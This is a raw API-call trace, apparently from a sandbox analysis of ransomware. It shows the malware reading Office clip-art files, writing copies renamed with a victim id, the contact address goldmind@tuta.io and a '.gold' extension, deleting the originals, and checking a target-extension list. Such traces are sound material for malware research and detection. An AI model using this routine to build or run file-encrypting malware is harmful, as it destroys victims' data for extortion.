0xffffffff [0101.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0101.587] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.587] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0101.588] GetLastError () returned 0x0 [0101.588] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x3682, lpOverlapped=0x0) returned 1 [0101.609] WriteFile (in: hFile=0x398, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x3690, lpOverlapped=0x0) returned 1 [0101.610] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.610] WriteFile (in: hFile=0x398, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.610] SetEndOfFile (hFile=0x398) returned 1 [0101.610] CloseHandle (hObject=0x398) returned 1 [0101.610] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.610] SetEndOfFile (hFile=0x3b4) returned 1 [0101.612] CloseHandle (hObject=0x3b4) returned 1 [0101.612] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.612] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg")) returned 1 [0101.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0101.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0101.613] lstrlenW (lpString=".doc") returned 4 [0101.613] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0101.613] lstrlenW (lpString=".docx") returned 5 [0101.613] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0101.613] lstrlenW (lpString=".pdf") returned 4 [0101.613] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0101.613] lstrlenW (lpString=".xls") returned 4 [0101.613] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0101.613] lstrlenW (lpString=".xlsx") returned 5 [0101.613] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0101.613] lstrlenW (lpString=".ppt") returned 4 [0101.613] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0101.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0101.613] lstrlenW (lpString=".zip") returned 4 [0101.613] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0101.613] lstrlenW (lpString=".rar") returned 4 [0101.613] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0101.613] lstrlenW (lpString=".bz2") returned 4 [0101.613] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0101.613] lstrlenW (lpString=".7z") returned 3 [0101.613] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0101.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0101.613] lstrlenW (lpString=".dbf") returned 4 [0101.613] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0101.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0101.613] lstrlenW (lpString=".1cd") returned 4 [0101.613] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0101.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0101.613] lstrlenW (lpString=".jpg") returned 4 [0101.613] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0101.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0101.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0101.613] lstrlenW (lpString=".doc") returned 4 [0101.613] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0101.613] lstrlenW (lpString=".docx") returned 5 [0101.613] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0101.613] lstrlenW (lpString=".pdf") returned 4 [0101.613] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0101.614] lstrlenW (lpString=".xls") returned 4 [0101.614] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0101.614] lstrlenW (lpString=".xlsx") returned 5 [0101.614] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0101.614] lstrlenW (lpString=".ppt") returned 4 [0101.614] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0101.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0101.614] lstrlenW (lpString=".zip") returned 4 [0101.614] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0101.614] lstrlenW (lpString=".rar") returned 4 [0101.614] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0101.614] lstrlenW (lpString=".bz2") returned 4 [0101.614] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0101.614] lstrlenW (lpString=".7z") returned 3 [0101.614] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0101.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0101.614] lstrlenW (lpString=".dbf") returned 4 [0101.614] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0101.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0101.614] lstrlenW (lpString=".1cd") returned 4 [0101.614] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0101.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0101.614] lstrlenW (lpString=".jpg") returned 4 [0101.614] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0101.614] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0101.614] lstrlenW (lpString="J0099159.WMF") returned 12 [0101.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0101.615] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=27546) returned 1 [0101.615] CloseHandle (hObject=0x3b4) returned 1 [0101.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf")) returned 0x20 [0101.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0101.615] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.615] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0101.616] GetLastError () returned 0x0 [0101.616] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x6b9a, lpOverlapped=0x0) returned 1 [0101.626] WriteFile (in: hFile=0x398, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x6ba0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x6ba0, lpOverlapped=0x0) returned 1 [0101.627] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.627] WriteFile (in: hFile=0x398, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.627] SetEndOfFile (hFile=0x398) returned 1 [0101.627] CloseHandle (hObject=0x398) returned 1 [0101.627] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.627] SetEndOfFile (hFile=0x3b4) returned 1 [0101.629] CloseHandle (hObject=0x3b4) returned 1 [0101.630] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.630] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf")) returned 1 [0101.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0101.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0101.630] lstrlenW (lpString=".doc") returned 4 [0101.630] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.630] lstrlenW (lpString=".docx") returned 5 [0101.630] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0101.630] lstrlenW (lpString=".pdf") returned 4 [0101.630] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.630] lstrlenW (lpString=".xls") returned 4 [0101.630] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.630] lstrlenW (lpString=".xlsx") returned 5 [0101.631] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0101.631] lstrlenW (lpString=".ppt") returned 4 [0101.631] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0101.631] lstrlenW (lpString=".zip") returned 4 [0101.631] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.631] lstrlenW (lpString=".rar") returned 4 [0101.631] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.631] lstrlenW (lpString=".bz2") returned 4 [0101.631] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.631] lstrlenW (lpString=".7z") returned 3 [0101.631] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0101.631] lstrlenW (lpString=".dbf") returned 4 [0101.631] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0101.631] lstrlenW (lpString=".1cd") returned 4 [0101.631] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0101.631] lstrlenW (lpString=".jpg") returned 4 [0101.631] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0101.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0101.631] lstrlenW (lpString=".doc") returned 4 [0101.631] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.631] lstrlenW (lpString=".docx") returned 5 [0101.631] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0101.631] lstrlenW (lpString=".pdf") returned 4 [0101.631] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.631] lstrlenW (lpString=".xls") returned 4 [0101.631] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.631] lstrlenW (lpString=".xlsx") returned 5 [0101.631] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0101.631] lstrlenW (lpString=".ppt") returned 4 [0101.631] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0101.631] lstrlenW (lpString=".zip") returned 4 [0101.631] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.631] lstrlenW (lpString=".rar") returned 4 [0101.631] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.631] lstrlenW (lpString=".bz2") returned 4 [0101.631] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.631] lstrlenW (lpString=".7z") returned 3 [0101.631] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0101.631] lstrlenW (lpString=".dbf") returned 4 [0101.631] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0101.631] lstrlenW (lpString=".1cd") returned 4 [0101.631] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0101.631] lstrlenW (lpString=".jpg") returned 4 [0101.631] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.632] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0101.632] lstrlenW (lpString="J0099161.JPG") returned 12 [0101.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0101.739] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=7154) returned 1 [0101.739] CloseHandle (hObject=0x3bc) returned 1 [0101.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg")) returned 0x20 [0101.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0101.744] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.744] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0101.745] GetLastError () returned 0x0 [0101.745] ReadFile (in: hFile=0x38c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x1bf2, lpOverlapped=0x0) returned 1 [0101.746] WriteFile (in: hFile=0x3b4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x1c00, lpOverlapped=0x0) returned 1 [0101.747] ReadFile (in: hFile=0x38c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.747] WriteFile (in: hFile=0x3b4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.747] SetEndOfFile (hFile=0x3b4) returned 1 [0101.747] CloseHandle (hObject=0x3b4) returned 1 [0101.747] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.747] SetEndOfFile (hFile=0x38c) returned 1 [0101.749] CloseHandle (hObject=0x38c) returned 1 [0101.749] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.749] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg")) returned 1 [0101.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0101.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0101.750] lstrlenW (lpString=".doc") returned 4 [0101.750] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0101.750] lstrlenW (lpString=".docx") returned 5 [0101.750] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0101.750] lstrlenW (lpString=".pdf") returned 4 [0101.750] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0101.750] lstrlenW (lpString=".xls") returned 4 [0101.750] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0101.750] lstrlenW (lpString=".xlsx") returned 5 [0101.750] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0101.750] lstrlenW (lpString=".ppt") returned 4 [0101.750] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0101.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0101.750] lstrlenW (lpString=".zip") returned 4 [0101.750] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0101.750] lstrlenW (lpString=".rar") returned 4 [0101.750] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0101.750] lstrlenW (lpString=".bz2") returned 4 [0101.750] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0101.750] lstrlenW (lpString=".7z") returned 3 [0101.750] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0101.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0101.750] lstrlenW (lpString=".dbf") returned 4 [0101.750] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0101.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0101.750] lstrlenW (lpString=".1cd") returned 4 [0101.750] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0101.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0101.750] lstrlenW (lpString=".jpg") returned 4 [0101.750] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0101.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0101.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0101.751] lstrlenW (lpString=".doc") returned 4 [0101.751] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0101.751] lstrlenW (lpString=".docx") returned 5 [0101.751] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0101.751] lstrlenW (lpString=".pdf") returned 4 [0101.751] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0101.751] lstrlenW (lpString=".xls") returned 4 [0101.751] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0101.751] lstrlenW (lpString=".xlsx") returned 5 [0101.751] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0101.751] lstrlenW (lpString=".ppt") returned 4 [0101.751] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0101.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0101.751] lstrlenW (lpString=".zip") returned 4 [0101.751] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0101.751] lstrlenW (lpString=".rar") returned 4 [0101.751] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0101.751] lstrlenW (lpString=".bz2") returned 4 [0101.751] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0101.751] lstrlenW (lpString=".7z") returned 3 [0101.751] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0101.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0101.751] lstrlenW (lpString=".dbf") returned 4 [0101.751] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0101.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0101.751] lstrlenW (lpString=".1cd") returned 4 [0101.751] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0101.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0101.751] lstrlenW (lpString=".jpg") returned 4 [0101.751] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0101.751] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0101.751] lstrlenW (lpString="J0099162.JPG") returned 12 [0101.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0101.752] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=19656) returned 1 [0101.752] CloseHandle (hObject=0x38c) returned 1 [0101.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg")) returned 0x20 [0101.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0101.753] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.753] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 